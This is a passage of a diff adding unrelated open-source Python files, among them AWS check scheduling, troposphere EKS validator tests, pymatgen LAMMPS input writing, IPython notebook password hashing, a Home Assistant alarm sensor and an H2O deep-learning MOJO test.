+def main():
+    options = {}
+    options['queue'] = queue.Queue()
+
+    schedule.every(10).seconds.do(run_threaded, check_iam_roles, **options)
+    schedule.every(15).seconds.do(run_threaded, check_trustedadvisor_limits, **options)
+    schedule.every(20).seconds.do(run_threaded, check_password_policy, **options)
+
+    print("-------------------------------")
+    for job in schedule.get_jobs():
+        print("Job info: %s [%s] [%s]" %(job.job_func.args, job.last_run, job.next_run))
+    print("-------------------------------")
+
+    count = 0
+    for x in range(80):
+        schedule.run_pending()
+        time.sleep(2)
+
+        #if count == 5:
+        #    print("Add trusted advisor check to schedule")
+        #    schedule.every(10).seconds.do(run_threaded, check_trustedadvisor_limits)
+
+        #if count == 9:
+        #    print("Add check password policy")
+        #    schedule.every(10).seconds.do(run_threaded, check_password_policy)
+
+
+        #if count % 8 == 0:
+        #    print("-------------------------")
+        #    for job in schedule.jobs:
+        #        print("Job info: %s [%s] [%s]" %(job.job_func.args, job.last_run, job.next_run))
+        #    print("-------------------------")
+        #count += 1
+
+
+if __name__ == '__main__':
+    main()
diff --git a/pool/shard000/Python/0008303_test_eks.py b/pool/shard000/Python/0008303_test_eks.py
new file mode 100644
index 0000000000000000000000000000000000000000..3d7082a2c6d66cb27765161256b85705b0654fb0
--- /dev/null
+++ b/pool/shard000/Python/0008303_test_eks.py
@@ -0,0 +1,59 @@
+import unittest
+
+import troposphere.eks as eks
+
+
+class TestEKSValidators(unittest.TestCase):
+    def test_validate_taint_effect(self):
+        valid_values = ["NO_EXECUTE", "NO_SCHEDULE", "PREFER_NO_SCHEDULE"]
+        for x in valid_values:
+            eks.validate_taint_effect(x)
+
+        with self.assertRaises(ValueError):
+            eks.validate_taint_effect("NOT_OK")
+
+    def test_validate_taint_key(self):
+        valid_values = ["OK", "O", "o" * 63]
+        for x in valid_values:
+            eks.validate_taint_key(x)
+
+        invalid_values = ["", "o" * 64]
+        for x in invalid_values:
+            with self.assertRaises(ValueError):
+                eks.validate_taint_key(x)
+
+    def test_validate_taint_value(self):
+        valid_values = ["", "O", "o" * 63]
+        for x in valid_values:
+            eks.validate_taint_value(x)
+
+        invalid_values = ["o" * 64]
+        for x in invalid_values:
+            with self.assertRaises(ValueError):
+                eks.validate_taint_value(x)
+
+    def test_cluster_logging(self):
+        logging = eks.ClusterLogging(
+            EnabledTypes=[
+                eks.LoggingTypeConfig(Type="scheduler"),
+                eks.LoggingTypeConfig(Type="api"),
+            ],
+        )
+        logging.validate()
+
+        with self.assertRaises(TypeError):
+            logging = eks.ClusterLogging(
+                EnabledTypes=[
+                    "enable",
+                    eks.LoggingTypeConfig(Type="api"),
+                ],
+            )
+
+        with self.assertRaises(ValueError):
+            logging = eks.ClusterLogging(
+                EnabledTypes=[
+                    eks.LoggingTypeConfig(Type="foobar"),
+                    eks.LoggingTypeConfig(Type="api"),
+                ],
+            )
+            logging.validate()
diff --git a/pool/shard000/Python/0008308_setup.py b/pool/shard000/Python/0008308_setup.py
new file mode 100644
index 0000000000000000000000000000000000000000..7842ed78cd91c7e842199f6199fa08db3e930256
--- /dev/null
+++ b/pool/shard000/Python/0008308_setup.py
@@ -0,0 +1,83 @@
+from setuptools import setup
+from setuptools import setup, find_packages, Extension
+from setuptools.command.test import test as TestCommand
+import sys, io, os, glob
+
+module1 = Extension('pylw.qs_parse', sources = ['pylw/qs_parse.c'])
+module2 = Extension('pylw.route_find', sources = ['pylw/route_find.c'])
+
+class PyTest(TestCommand):
+    def finalize_options(self):
+        TestCommand.finalize_options(self)
+        self.test_args = []
+        self.test_suite = True
+
+    def run_tests(self):
+        import pytest
+        errcode = pytest.main(self.test_args)
+        sys.exit(errcode)
+
+#Cython Support
+try:
+    from Cython.Distutils import build_ext
+    CYTHON = True
+except ImportError:
+    CYTHON = False
+
+if CYTHON:
+    def list_modules(dirname):
+        filenames = glob.glob(os.path.join(dirname, '*.py'))
+
+        module_names = []
+        for name in filenames:
+            module, ext = os.path.splitext(os.path.basename(name))
+            if module != '__init__':
+                module_names.append(module)
+
+        return module_names
+
+    ext_modules = [
+        Extension('pylw.' + ext, [os.path.join('pylw', ext + '.py')])
+        for ext in list_modules(os.path.join('.', 'pylw'))]
+
+    ext_modules.append(module1)
+    ext_modules.append(module2)
+
+    cmdclass = {'build_ext': build_ext, 'test': PyTest}
+
+else:
+    cmdclass = {'test': PyTest}
+    ext_modules = [module1, module2]
+
+setup(name='pylw',
+      version='0.1',
+      description='The Python Lightweight Web Framework',
+      long_description=io.open('README.rst', 'r', encoding='utf-8').read(),
+      classifiers=[
+          'Development Status :: 4 - Beta',
+          'Environment :: Web Environment',
+          'Natural Language :: English',
+          'Intended Audience :: Developers',
+          'Intended Audience :: System Administrators',
+          'License :: OSI Approved :: Apache Software License',
+          'Operating System :: MacOS :: MacOS X',
+          'Operating System :: Microsoft :: Windows',
+          'Operating System :: POSIX',
+          'Topic :: Internet :: WWW/HTTP :: WSGI',
+          'Topic :: Software Development :: Libraries :: Application Frameworks',
+          'Topic :: Internet :: WWW/HTTP :: Dynamic Content',
+          'Programming Language :: Python',
+          'Programming Language :: Python :: Implementation :: CPython',
+          'Programming Language :: Python :: 2.6',
+          'Programming Language :: Python :: 2.7',
+          'Programming Language :: C',
+      ],
+      url='http://github.com/michaelgugino/pylw',
+      author='Michael Gugino',
+      author_email='mike@funwithlinux.net',
+      tests_require=['pytest'],
+      cmdclass=cmdclass,
+      license='Apache',
+      packages=['pylw'],
+      ext_modules = ext_modules,
+      zip_safe=False)
diff --git a/pool/shard000/Python/0008315_inputs.py b/pool/shard000/Python/0008315_inputs.py
new file mode 100644
index 0000000000000000000000000000000000000000..fb94201de0007d52f6f5209e78264ddfef58d4a2
--- /dev/null
+++ b/pool/shard000/Python/0008315_inputs.py
@@ -0,0 +1,210 @@
+# coding: utf-8
+# Copyright (c) Pymatgen Development Team.
+# Distributed under the terms of the MIT License.
+
+"""
+This module implements methods for writing LAMMPS input files.
+"""
+
+
+import os
+import re
+import shutil
+import warnings
+from string import Template
+
+from monty.json import MSONable
+
+from pymatgen.io.lammps.data import LammpsData
+
+__author__ = "Kiran Mathew, Brandon Wood, Zhi Deng"
+__copyright__ = "Copyright 2018, The Materials Virtual Lab"
+__version__ = "1.0"
+__maintainer__ = "Zhi Deng"
+__email__ = "z4deng@eng.ucsd.edu"
+__date__ = "Aug 1, 2018"
+
+
+class LammpsRun(MSONable):
+    """
+    Examples for various simple LAMMPS runs with given simulation box,
+    force field and a few more settings. Experience LAMMPS users should
+    consider using write_lammps_inputs method with more sophisticated
+    templates.
+
+    """
+
+    template_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "templates")
+
+    def __init__(self, script_template, settings, data, script_filename):
+        """
+        Base constructor.
+
+        Args:
+            script_template (str): String template for input script
+                with placeholders. The format for placeholders has to
+                be '$variable_name', e.g., '$temperature'
+            settings (dict): Contains values to be written to the
+                placeholders, e.g., {'temperature': 1}.
+            data (LammpsData or str): Data file as a LammpsData
+                instance or path to an existing data file. Default to
+                None, i.e., no data file supplied. Useful only when
+                read_data cmd is in the script.
+            script_filename (str): Filename for the input script.
+
+        """
+        self.script_template = script_template
+        self.settings = settings
+        self.data = data
+        self.script_filename = script_filename
+
+    def write_inputs(self, output_dir, **kwargs):
+        """
+        Writes all input files (input script, and data if needed).
+        Other supporting files are not handled at this moment.
+
+        Args:
+            output_dir (str): Directory to output the input files.
+            **kwargs: kwargs supported by LammpsData.write_file.
+
+        """
+        write_lammps_inputs(
+            output_dir=output_dir,
+            script_template=self.script_template,
+            settings=self.settings,
+            data=self.data,
+            script_filename=self.script_filename,
+            **kwargs,
+        )
+
+    @classmethod
+    def md(cls, data, force_field, temperature, nsteps, other_settings=None):
+        r"""
+        Example for a simple MD run based on template md.txt.
+
+        Args:
+            data (LammpsData or str): Data file as a LammpsData
+                instance or path to an existing data file.
+            force_field (str): Combined force field related cmds. For
+                example, 'pair_style eam\npair_coeff * * Cu_u3.eam'.
+            temperature (float): Simulation temperature.
+            nsteps (int): No. of steps to run.
+            other_settings (dict): other settings to be filled into
+                placeholders.
+
+        """
+        template_path = os.path.join(cls.template_dir, "md.txt")
+        with open(template_path) as f:
+            script_template = f.read()
+        settings = other_settings.copy() if other_settings is not None else {}
+        settings.update({"force_field": force_field, "temperature": temperature, "nsteps": nsteps})
+        script_filename = "in.md"
+        return cls(
+            script_template=script_template,
+            settings=settings,
+            data=data,
+            script_filename=script_filename,
+        )
+
+
+def write_lammps_inputs(
+    output_dir,
+    script_template,
+    settings=None,
+    data=None,
+    script_filename="in.lammps",
+    make_dir_if_not_present=True,
+    **kwargs,
+):
+    """
+    Writes input files for a LAMMPS run. Input script is constructed
+    from a str template with placeholders to be filled by custom
+    settings. Data file is either written from a LammpsData
+    instance or copied from an existing file if read_data cmd is
+    inspected in the input script. Other supporting files are not
+    handled at the moment.
+
+    Args:
+        output_dir (str): Directory to output the input files.
+        script_template (str): String template for input script with
+            placeholders. The format for placeholders has to be
+            '$variable_name', e.g., '$temperature'
+        settings (dict): Contains values to be written to the
+            placeholders, e.g., {'temperature': 1}. Default to None.
+        data (LammpsData or str): Data file as a LammpsData instance or
+            path to an existing data file. Default to None, i.e., no
+            data file supplied. Useful only when read_data cmd is in
+            the script.
+        script_filename (str): Filename for the input script.
+        make_dir_if_not_present (bool): Set to True if you want the
+            directory (and the whole path) to be created if it is not
+            present.
+        **kwargs: kwargs supported by LammpsData.write_file.
+
+    Examples:
+        >>> eam_template = '''units           metal
+        ... atom_style      atomic
+        ...
+        ... lattice         fcc 3.615
+        ... region          box block 0 20 0 20 0 20
+        ... create_box      1 box
+        ... create_atoms    1 box
+        ...
+        ... pair_style      eam
+        ... pair_coeff      1 1 Cu_u3.eam
+        ...
+        ... velocity        all create $temperature 376847 loop geom
+        ...
+        ... neighbor        1.0 bin
+        ... neigh_modify    delay 5 every 1
+        ...
+        ... fix             1 all nvt temp $temperature $temperature 0.1
+        ...
+        ... timestep        0.005
+        ...
+        ... run             $nsteps'''
+        >>> write_lammps_inputs('.', eam_template, settings={'temperature': 1600.0, 'nsteps': 100})
+        >>> with open('in.lammps') as f:
+        ...     script = f.read()
+        ...
+        >>> print(script)
+        units           metal
+        atom_style      atomic
+
+        lattice         fcc 3.615
+        region          box block 0 20 0 20 0 20
+        create_box      1 box
+        create_atoms    1 box
+
+        pair_style      eam
+        pair_coeff      1 1 Cu_u3.eam
+
+        velocity        all create 1600.0 376847 loop geom
+
+        neighbor        1.0 bin
+        neigh_modify    delay 5 every 1
+
+        fix             1 all nvt temp 1600.0 1600.0 0.1
+
+        timestep        0.005
+
+        run             100
+
+
+    """
+    variables = {} if settings is None else settings
+    template = Template(script_template)
+    input_script = template.safe_substitute(**variables)
+    if make_dir_if_not_present and not os.path.exists(output_dir):
+        os.makedirs(output_dir)
+    with open(os.path.join(output_dir, script_filename), "w") as f:
+        f.write(input_script)
+    read_data = re.search(r"read_data\s+(.*)\n", input_script)
+    if read_data:
+        data_filename = read_data.group(1).split()[0]
+        if isinstance(data, LammpsData):
+            data.write_file(os.path.join(output_dir, data_filename), **kwargs)
+        elif isinstance(data, str) and os.path.exists(data):
+            shutil.copyfile(data, os.path.join(output_dir, data_filename))
+        else:
+            warnings.warn("No data file supplied. Skip writing %s." % data_filename)
diff --git a/pool/shard000/Python/0008322_csv2roster.py b/pool/shard000/Python/0008322_csv2roster.py
new file mode 100644
index 0000000000000000000000000000000000000000..9666ed5267647d8d4c40487ce6e5cca266ce4957
--- /dev/null
+++ b/pool/shard000/Python/0008322_csv2roster.py
@@ -0,0 +1,61 @@
+#!/usr/bin/env python
+#------------------------------------------------------------------------------
+#   File:       csv2roster.py
+#   Purpose:    converts a CSV file of guild members into a straight text file
+#               of names
+#   Author:     Jim Storch
+#   Revised:
+#   License:    GPLv3 see LICENSE.TXT
+#------------------------------------------------------------------------------
+
+import csv
+from optparse import OptionParser
+import sys
+import os
+
+from tokp_lib.roster import get_roster_csv
+from tokp_lib.roster import write_roster_text
+
+VERSION = '.001 (pre-alpha)'
+
+#--[ Option Juggling ]---------------------------------------------------------
+
+## Options
+usage = "usage: %prog [options]"
+parser = OptionParser(usage=usage)
+parser.add_option('-i','--infile', dest='infile', 
+    default='roster/ToK Roster.csv', 
+    help="Name of the CSV roster file. Default is 'roster/ToK Roster.csv'")
+parser.add_option('-o','--outfile', dest='outfile', 
+    default='roster/roster.txt', 
+    help="Name of the roster text file to create. "+
+        "Default is 'roster/roster.txt'")
+parser.add_option('-y','--yes', action="store_true", dest="overwrite", 
+    default=False, help="OK to overwrite existing roster file.")
+parser.add_option('-v','--version', action="store_true", dest="version", 
+    default=False, help="Show program version number and exit.")
+
+(options, args) = parser.parse_args()
+
+if options.version:
+    print "Version number is", VERSION
+    sys.exit()
+
+if not os.path.exists(options.infile) or not os.path.isfile(options.infile):
+    print "[error] CSV file '%s' is not readible." % options.infile
+    sys.exit()
+
+if not options.overwrite and os.path.exists(options.outfile):
+    print "[error] '%s' already exist.  Use '-y' to overwrite." \
+         % options.outfile
+    sys.exit()    
+
+# read in the contents of the CSV file
+roster = get_roster_csv(options.infile)
+
+# write out a plain text file with one name per line
+write_roster_text(roster,options.outfile)
+ 
+    
+
+
diff --git a/pool/shard000/Python/0008327_logutil.py b/pool/shard000/Python/0008327_logutil.py
new file mode 100644
index 0000000000000000000000000000000000000000..0e523fe62aed0a1e579a0ac7c21c4360aafbd493
--- /dev/null
+++ b/pool/shard000/Python/0008327_logutil.py
@@ -0,0 +1,55 @@
+import logging
+
+
+class LogLevelChanger(object):
+    """Log level changer for with-statements.
+
+    This class temporarily changes a log level of the specified logger in a `with` statement.
+    You can get the logger by `as` clause.
+
+    Usage::
+        >>> logger = logging.getLogger('test')
+        >>> logger.setLevel(logging.INFO)
+        >>> with LogLevelChanger(logging.DEBUG, logger):
+        ...     assert logger.level == logging.DEBUG
+        ...
+        >>> assert logger.level == logging.INFO
+    """
+
+    def __init__(self, level, logger):
+        self.logger = logger
+        self.level = level
+
+    def __enter__(self):
+        self._orig_level = self.logger.level
+        self.logger.setLevel(self.level)
+        return self.logger
+
+    def __exit__(self, *args):
+        self.logger.setLevel(self._orig_level)
+
+
+def log_level(level=None, logger=None):
+    """Change log level.
+
+    This class temporarily changes a log level of the specified logger in a `with` statement.
+    You can get the logger by `as` clause.
+
+    Usage::
+        >>> with log_level(logging.DEBUG) as logger:
+        ...     assert logger.level == logging.DEBUG
+        ...
+        >>> assert logger.level == logging.WARNING
+    """
+
+    if logger is not None:
+        logger_ = logger
+    else:
+        logger_ = logging.getLogger()
+
+    if level is not None:
+        level_ = level
+    else:
+        level_ = logger_.level
+
+    return LogLevelChanger(level_, logger_)
diff --git a/pool/shard000/Python/0008329_wps_subset_points.py b/pool/shard000/Python/0008329_wps_subset_points.py
new file mode 100644
index 0000000000000000000000000000000000000000..7ae239b4a06c84937976f13fb99d0a0a65a68e99
--- /dev/null
+++ b/pool/shard000/Python/0008329_wps_subset_points.py
@@ -0,0 +1,102 @@
+from flyingpigeon.utils import sort_by_filename
+from pywps.Process import WPSProcess
+
+import logging
+logger = logging.getLogger(__name__)
+
+
+class SubsetPointsProcess(WPSProcess):
+
+    def __init__(self):
+        WPSProcess.__init__(
+            self,
+            identifier="subset_points",
+            title="Subset Points",
+            version="0.9",
+            metadata=[
+                    {"title": "LSCE", "href": "http://www.lsce.ipsl.fr/en/index.php"},
+                    {"title": "Documentation", "href": "http://flyingpigeon.readthedocs.io/en/latest/"},
+                    ],
+            abstract="Extract timeseries for specified coordinates from gridded datasets",
+            statusSupported=True,
+            storeSupported=True
+            )
+
+        self.resource = self.addComplexInput(
+          identifier="resource",
+          title="NetCDF File",
+          abstract="NetCDF File",
+          minOccurs=1,
+          maxOccurs=1000,
+          maxmegabites=5000,
+          formats=[{"mimeType": "application/x-netcdf"}],
+          )
+
+        self.coords = self.addLiteralInput(
+          identifier="coords",
+          title="Coordinates",
+          abstract="a comma-seperated tuple of WGS85 lon,lat decimal coordinates",
+          default="2.356138, 48.846450",
+          type=type(''),
+          minOccurs=1,
+          maxOccurs=100,
+          )
+
+        self.tarout = self.addComplexOutput(
+          identifier="tarout",
+          title="Tarfile",
+          abstract="tar archive containing the value tables",
+          formats=[{"mimeType": "application/x-tar"}],
+          asReference=True,
+          )
+
+    def execute(self):
+        from flyingpigeon.ocgis_module import call
+        from flyingpigeon.utils import sort_by_filename, archive, get_values, get_time
+
+        ncs = self.getInputValues(identifier='resource')
+        logger.info("ncs: %s " % ncs)
+        coords = self.getInputValues(identifier='coords')
+        logger.info("coords %s", coords)
+        filenames = []
+        nc_exp = sort_by_filename(ncs, historical_concatination=True)
+
+        from numpy import savetxt, column_stack
+        from shapely.geometry import Point
+
+        for key in nc_exp.keys():
+            try:
+                logger.info('start calculation for %s ' % key)
+                ncs = nc_exp[key]
+                times = get_time(ncs, format='%Y-%m-%d_%H:%M:%S')
+                concat_vals = times  # ['%s-%02d-%02d_%02d:%02d:%02d' %
+                # (t.year, t.month, t.day, t.hour, t.minute, t.second) for t in times]
+                header = 'date_time'
+                filename = '%s.csv' % key
+                filenames.append(filename)
+
+                for p in coords:
+                    try:
+                        self.status.set('processing point : {0}'.format(p), 20)
+                        # define the point:
+                        p = p.split(',')
+                        point = Point(float(p[0]), float(p[1]))
+
+                        # get the values
+                        timeseries = call(resource=ncs, geom=point, select_nearest=True)
+                        vals = get_values(timeseries)
+
+                        # concatenation of values
+                        header = header + ',%s-%s' % (p[0], p[1])
+                        concat_vals = column_stack([concat_vals, vals])
+                    except Exception as e:
+                        logger.debug('failed for point %s %s' % (p, e))
+                self.status.set('*** all points processed for {0} ****'.format(key), 50)
+                savetxt(filename, concat_vals, fmt='%s', delimiter=',', header=header)
+            except Exception as e:
+                logger.debug('failed for %s %s' % (key, e))
+
+    # set the outputs
+        self.status.set('*** creating output tar archive ****', 90)
+        tarout_file = archive(filenames)
+        self.tarout.setValue(tarout_file)
diff --git a/pool/shard000/Python/0008332_security.py b/pool/shard000/Python/0008332_security.py
new file mode 100644
index 0000000000000000000000000000000000000000..8998fb24fef2ae0035d3aeea4d1f234647a853d4
--- /dev/null
+++ b/pool/shard000/Python/0008332_security.py
@@ -0,0 +1,117 @@
+"""
+Password generation for the IPython notebook.
+"""
+#-----------------------------------------------------------------------------
+# Imports
+#-----------------------------------------------------------------------------
+# Stdlib
+import getpass
+import hashlib
+import random
+
+# Our own
+from IPython.core.error import UsageError
+from IPython.testing.skipdoctest import skip_doctest
+from IPython.utils.py3compat import cast_bytes, str_to_bytes
+
+#-----------------------------------------------------------------------------
+# Globals
+#-----------------------------------------------------------------------------
+
+# Length of the salt in nr of hex chars, which implies salt_len * 4
+# bits of randomness.
+salt_len = 12
+
+#-----------------------------------------------------------------------------
+# Functions
+#-----------------------------------------------------------------------------
+
+
+@skip_doctest
+def passwd(passphrase=None, algorithm='sha1'):
+    """Generate hashed password and salt for use in notebook configuration.
+
+    In the notebook configuration, set `c.NotebookApp.password` to
+    the generated string.
+
+    Parameters
+    ----------
+    passphrase : str
+        Password to hash.  If unspecified, the user is asked to input
+        and verify a password.
+    algorithm : str
+        Hashing algorithm to use (e.g, 'sha1' or any argument supported
+        by :func:`hashlib.new`).
+
+    Returns
+    -------
+    hashed_passphrase : str
+        Hashed password, in the format 'hash_algorithm:salt:passphrase_hash'.
+
+    Examples
+    --------
+    >>> passwd('mypassword')
+    'sha1:7cf3:b7d6da294ea9592a9480c8f52e63cd42cfb9dd12'
+
+    """
+    if passphrase is None:
+        for i in range(3):
+            p0 = getpass.getpass('Enter password: ')
+            p1 = getpass.getpass('Verify password: ')
+            if p0 == p1:
+                passphrase = p0
+                break
+            else:
+                print('Passwords do not match.')
+        else:
+            raise UsageError('No matching passwords found. Giving up.')
+
+    h = hashlib.new(algorithm)
+    salt = ('%0' + str(salt_len) + 'x') % random.getrandbits(4 * salt_len)
+    h.update(cast_bytes(passphrase, 'utf-8') + str_to_bytes(salt, 'ascii'))
+
+    return ':'.join((algorithm, salt, h.hexdigest()))
+
+
+def passwd_check(hashed_passphrase, passphrase):
+    """Verify that a given passphrase matches its hashed version.
+
+    Parameters
+    ----------
+    hashed_passphrase : str
+        Hashed password, in the format returned by `passwd`.
+    passphrase : str
+        Passphrase to validate.
+
+    Returns
+    -------
+    valid : bool
+        True if the passphrase matches the hash.
+
+    Examples
+    --------
+    >>> from IPython.lib.security import passwd_check
+    >>> passwd_check('sha1:0e112c3ddfce:a68df677475c2b47b6e86d0467eec97ac5f4b85a',
+    ...              'mypassword')
+    True
+
+    >>> passwd_check('sha1:0e112c3ddfce:a68df677475c2b47b6e86d0467eec97ac5f4b85a',
+    ...              'anotherpassword')
+    False
+    """
+    try:
+        algorithm, salt, pw_digest = hashed_passphrase.split(':', 2)
+    except (ValueError, TypeError):
+        return False
+
+    try:
+        h = hashlib.new(algorithm)
+    except ValueError:
+        return False
+
+    if len(pw_digest) == 0:
+        return False
+
+    h.update(cast_bytes(passphrase, 'utf-8') + cast_bytes(salt, 'ascii'))
+
+    return h.hexdigest() == pw_digest
diff --git a/pool/shard000/Python/0008334_binary_sensor.py b/pool/shard000/Python/0008334_binary_sensor.py
new file mode 100644
index 0000000000000000000000000000000000000000..1ce02af390f26705a13af9e2d318b70f93215812
--- /dev/null
+++ b/pool/shard000/Python/0008334_binary_sensor.py
@@ -0,0 +1,81 @@
+"""Support for Vanderbilt (formerly Siemens) SPC alarm systems."""
+import logging
+
+from homeassistant.components.binary_sensor import BinarySensorDevice
+from homeassistant.core import callback
+from homeassistant.helpers.dispatcher import async_dispatcher_connect
+
+from . import DATA_API, SIGNAL_UPDATE_SENSOR
+
+_LOGGER = logging.getLogger(__name__)
+
+
+def _get_device_class(zone_type):
+    from pyspcwebgw.const import ZoneType
+
+    return {
+        ZoneType.ALARM: "motion",
+        ZoneType.ENTRY_EXIT: "opening",
+        ZoneType.FIRE: "smoke",
+    }.get(zone_type)
+
+
+async def async_setup_platform(hass, config, async_add_entities, discovery_info=None):
+    """Set up the SPC binary sensor."""
+    if discovery_info is None:
+        return
+    api = hass.data[DATA_API]
+    async_add_entities(
+        [
+            SpcBinarySensor(zone)
+            for zone in api.zones.values()
+            if _get_device_class(zone.type)
+        ]
+    )
+
+
+class SpcBinarySensor(BinarySensorDevice):
+    """Representation of a sensor based on a SPC zone."""
+
+    def __init__(self, zone):
+        """Initialize the sensor device."""
+        self._zone = zone
+
+    async def async_added_to_hass(self):
+        """Call for adding new entities."""
+        async_dispatcher_connect(
+            self.hass, SIGNAL_UPDATE_SENSOR.format(self._zone.id), self._update_callback
+        )
+
+    @callback
+    def _update_callback(self):
+        """Call update method."""
+        self.async_schedule_update_ha_state(True)
+
+    @property
+    def name(self):
+        """Return the name of the device."""
+        return self._zone.name
+
+    @property
+    def is_on(self):
+        """Whether the device is switched on."""
+        from pyspcwebgw.const import ZoneInput
+
+        return self._zone.input == ZoneInput.OPEN
+
+    @property
+    def hidden(self) -> bool:
+        """Whether the device is hidden by default."""
+        # These type of sensors are probably mainly used for automations
+        return True
+
+    @property
+    def should_poll(self):
+        """No polling needed."""
+        return False
+
+    @property
+    def device_class(self):
+        """Return the device class."""
+        return _get_device_class(self._zone.type)
diff --git a/pool/shard000/Python/0008336_pyunit_pubdev_4628_deeplearning_mojo_large.py b/pool/shard000/Python/0008336_pyunit_pubdev_4628_deeplearning_mojo_large.py
new file mode 100644
index 0000000000000000000000000000000000000000..aa127d461bb20493d982b31ea04df278146e6b70
--- /dev/null
+++ b/pool/shard000/Python/0008336_pyunit_pubdev_4628_deeplearning_mojo_large.py
@@ -0,0 +1,166 @@
+from builtins import range
+import sys, os
+sys.path.insert(1, "../../../")
+import h2o
+from tests import pyunit_utils
+import random
+from random import randint
+import re
+import subprocess
+from subprocess import STDOUT,PIPE
+from h2o.estimators.deeplearning import H2ODeepLearningEstimator
+
+NTESTROWS = 200    # number of test dataset rows
+MAXLAYERS = 8
+MAXNODESPERLAYER = 20
+TMPDIR = ""
+POJONAME = ""
+PROBLEM="regression"
+
+def deeplearning_mojo():
+    h2o.remove_all()
+
+    params = set_params()   # set deeplearning model parameters
+
+    df = random_dataset(PROBLEM)       # generate random dataset
+    train = df[NTESTROWS:, :]
+    test = df[:NTESTROWS, :]
+    x = list(set(df.names) - {"response"})
+
+    try:
+        deeplearningModel = build_save_model(params, x, train) # build and save mojo model
+        h2o.download_csv(test[x], os.path.join(TMPDIR, 'in.csv'))  # save test file, h2o predict/mojo use same file
+        pred_h2o = mojo_predict(deeplearningModel, x)  # load model and perform predict
+
+        pred_mojo = h2o.import_file(os.path.join(TMPDIR, 'out_mojo.csv'), header=1)  # load mojo prediction into a frame and compare
+        pyunit_utils.compare_numeric_frames(pred_h2o, pred_mojo, 0.1, tol=1e-4)
+    except Exception as ex:
+        print("***************  ERROR and type is ")
+        print(str(type(ex)))
+        if hasattr(ex, 'args') and type(ex.args[0])==type("what"):
+            if "unstable model" not in ex.args[0] and "DistributedException" not in ex.args[0]:
+                print(params)
+                sys.exit(1)     # okay to encounter unstable model but nothingh else
+            else:
+                print("An unstable model is found and no mojo is built.")
+        elif "EnvironmentError" in str(type(ex)):
+            print("An unstable model is found and no mojo is built.")
+        else:
+            sys.exit(1)         # other errors occurred.
+
+
+def set_params():
+    global PROBLEM
+    allAct = ["maxout", "rectifier", "maxout_with_dropout", "tanh_with_dropout", "rectifier_with_dropout", "tanh"]
+    problemType = ["binomial", "multinomial", "regression"]
+    missingValues = ['Skip', 'MeanImputation']
+    allFactors = [True, False]
+    categoricalEncodings = ['auto', 'one_hot_internal', 'binary', 'eigen']
+
+    enableEncoder = allFactors[randint(0,len(allFactors)-1)]    # enable autoEncoder or not
+    if (enableEncoder): # maxout not support for autoEncoder
+        allAct = ["rectifier", "tanh_with_dropout", "rectifier_with_dropout", "tanh"]
+    PROBLEM = problemType[randint(0,len(problemType)-1)]
+    actFunc = allAct[randint(0,len(allAct)-1)]
+    missing_values = missingValues[randint(0, len(missingValues)-1)]
+    cateEn = categoricalEncodings[randint(0, len(categoricalEncodings)-1)]
+
+    hiddens, hidden_dropout_ratios = random_networkSize(actFunc)    # generate random size layers
+    params = {}
+    if ('dropout') in actFunc:
+        params = {'hidden': hiddens, 'standardize': True,
+                  'missing_values_handling': missing_values, 'activation': actFunc,
+                  'use_all_factor_levels': allFactors[randint(0, len(allFactors) - 1)],
+                  'hidden_dropout_ratios': hidden_dropout_ratios,
+                  'input_dropout_ratio': random.uniform(0, 0.5),
+                  'categorical_encoding':cateEn,
+                  'autoencoder':enableEncoder
+                  }
+    else:
+        params = {'hidden': hiddens, 'standardize': True,
+                  'missing_values_handling': missing_values, 'activation': actFunc,
+                  'use_all_factor_levels': allFactors[randint(0, len(allFactors) - 1)],
+                  'input_dropout_ratio': random.uniform(0, 0.5),
+                  'categorical_encoding':cateEn,
+                  'autoencoder':enableEncoder
+                  }
+    print(params)
+    return params
+
+# perform h2o predict and mojo predict.  Frame containing h2o prediction is returned and mojo predict is
+# written to file.
+def mojo_predict(model, x):
+    newTest = h2o.import_file(os.path.join(TMPDIR, 'in.csv'))   # Make sure h2o and mojo use same in.csv
+    predictions1 = model.predict(newTest)
+
+    # load mojo and have it do predict
+    outFileName = os.path.join(TMPDIR, 'out_mojo.csv')
+    genJarDir = str.split(str(TMPDIR),'/')
+    genJarDir = '/'.join(genJarDir[0:genJarDir.index('h2o-py')])    # locate directory of genmodel.jar
+    java_cmd = ["java", "-ea", "-cp", os.path.join(genJarDir, "h2o-assemblies/genmodel/build/libs/genmodel.jar"),
+                "-Xmx12g", "-XX:MaxPermSize=2g", "-XX:ReservedCodeCacheSize=256m", "hex.genmodel.tools.PredictCsv",
+                "--input", os.path.join(TMPDIR, 'in.csv'), "--output",
+                outFileName, "--mojo", os.path.join(TMPDIR, POJONAME)+".zip", "--decimal"]
+    p = subprocess.Popen(java_cmd, stdout=PIPE, stderr=STDOUT)
+    o, e = p.communicate()
+    return predictions1
+
+def build_save_model(params, x, train):
+    global TMPDIR
+    global POJONAME
+    # build a model
+    model = H2ODeepLearningEstimator(**params)
+    if params['autoencoder']:
+        model.train(x=x, training_frame=train)
+    else:
+        model.train(x=x, y="response", training_frame=train)
+    # save model
+    regex = re.compile("[+\\-* !@#$%^&()={}\\[\\]|;:'\"<>,.?/]")
+    POJONAME = regex.sub("_", model._id)
+
+    print("Downloading Java prediction model code from H2O")
+    TMPDIR = os.path.normpath(os.path.join(os.path.dirname(os.path.realpath('__file__')), "..", "results", POJONAME))
+    os.makedirs(TMPDIR)
+    model.download_mojo(path=TMPDIR)    # save mojo
+    return model
+
+# generate random neural network architecture
+def random_networkSize(actFunc):
+    no_hidden_layers = randint(1, MAXLAYERS)
+    hidden = []
+    hidden_dropouts = []
+    for k in range(1, no_hidden_layers+1):
+        hidden.append(randint(1,MAXNODESPERLAYER))
+        if 'dropout' in actFunc.lower():
+            hidden_dropouts.append(random.uniform(0,0.5))
+
+    return hidden, hidden_dropouts
+
+# generate random dataset
+def random_dataset(response_type, verbose=True):
+    """Create and return a random dataset."""
+    if verbose: print("\nCreating a dataset for a %s problem:" % response_type)
+    fractions = {k + "_fraction": random.random() for k in "real categorical integer time string binary".split()}
+    fractions["string_fraction"] = 0  # Right now we are dropping string columns, so no point in having them.
+    fractions["binary_fraction"] /= 3
+    fractions["time_fraction"] /= 2
+
+    sum_fractions = sum(fractions.values())
+    for k in fractions:
+        fractions[k] /= sum_fractions
+    response_factors = (1 if response_type == "regression" else
+                        2 if response_type == "binomial" else
+                        random.randint(3, 10))
+    df = h2o.create_frame(rows=random.randint(15000, 25000) + NTESTROWS, cols=random.randint(3, 20),
+                          missing_fraction=random.uniform(0, 0.05),
